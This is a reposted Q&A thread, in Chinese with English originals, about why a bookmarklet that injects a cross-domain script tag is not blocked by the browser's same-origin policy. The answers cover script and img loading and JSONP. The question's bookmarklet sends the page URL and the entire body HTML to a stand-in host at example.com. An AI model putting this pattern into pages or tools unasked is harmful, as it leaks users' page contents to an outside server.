$.post() 作为书签 XSS
只是好奇是否有人可以向我解释为什么我可以从这样的书签请求页面:
javascript:var%20s=document.createElement('script');var data=encodeURI(location.href)+encodeURI ('\n\n')+(encodeURI(document.getElementsByTagName('body')[0].innerHTML));s.setAttribute('src','http://example.com/remote.php?id =68&act=new&data='+data);document.getElementsByTagName('body')[0].appendChild(s);void(s);
它出去并请求一个页面,甚至可以提供 GET 变量输入。
但是,由于同源政策,我无法通过 jQuery 等方式使用 ajax 进行发布/获取 XHR...为什么?这是浏览器问题还是标准的一部分?
注意:我更改了书签。 注 2:我的问题是为什么这不违反政策?
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(4)
区别在于您无法(直接)读取成为
元素的响应。
如果 URL 恰好返回定义了有用函数的 Javascript,您就可以使用它。
如果它包含其他任何内容(例如 JSON 或 XML 数据),您将无法读取响应。
同样,您可以创建一个指向不同域中的图像的
元素。
The difference is that you cannot (directly) read the response that becomes the
<script>
element.If the URL happens to return Javascript that defines useful functions, you can use it.
If it contains anything else (such as JSON or XML data), you cannot read the response.
Similarly, you can make an
<img>
element that points to an image in a different domain.此小书签并未违反同源政策。只有 XHTTP 请求受此策略限制,并且此小书签正在向页面添加脚本元素。
DOM 元素(例如图像和脚本)可以从互联网上的任何地方免费获取资源。
虽然任何脚本都可以通过 DOM 构造脚本或 img 请求来有效地跨域执行 GET 请求,但除非返回的响应正确形成,否则它将无法从该资源中提取任何数据。适当形成的响应实际上是跨域ajax的基础。
This bookmarklet isn't violating the same origin policy. Only XHTTP requests are limited by this policy, and this bookmarklet is adding a script element to the page.
DOM Elements (such as images and scripts) are free to fetch resources from anywhere on the internet.
While any script can effectively execute a GET request cross-domain by constructing script or img requests via the DOM, it will be unable to extract any data from that resource unless the returned response is formed appropriately. An appropriately formed response is actually the basis for cross-domain ajax.
javascript 的同源策略不允许来自不同域的页面进行通信,访问彼此的对象,无论是读还是写,它也不允许 xmlhttprequests(ajax 调用)从其他服务器请求数据。
但是,它与允许在其他服务器上引用脚本无关。正如@SLaks所说,您可以从另一台服务器添加
标签,就像您可以从另一台服务器添加
标签一样。
Same Origin Policy for javascript doesn't let pages from different domains to communicate, access each other objects, whether to read or to write, it also doesn't allow xmlhttprequests (ajax calls) to request data from other servers.
But, however, it has nothing to do with allowing scripts referenced on another servers. As @SLaks said, you can add a
<script>
tag from another server, as you can add<img>
tag from another server.该小书签不会从另一台服务器 xhr 请求某些内容,而是附加来自另一台服务器的脚本,这是可以接受的,并且不会与 同源政策。
实际上,这是进行这种跨服务器通信的已知解决方法,请查看 jsonp 。
That bookmarklet doesn't xhr-request something from another server, but appends a script from that other server, which is acceptable and doesn't conflict with the same origin policy.
Actually this is the known workaround to do this kind of cross server communication, take a look at jsonp.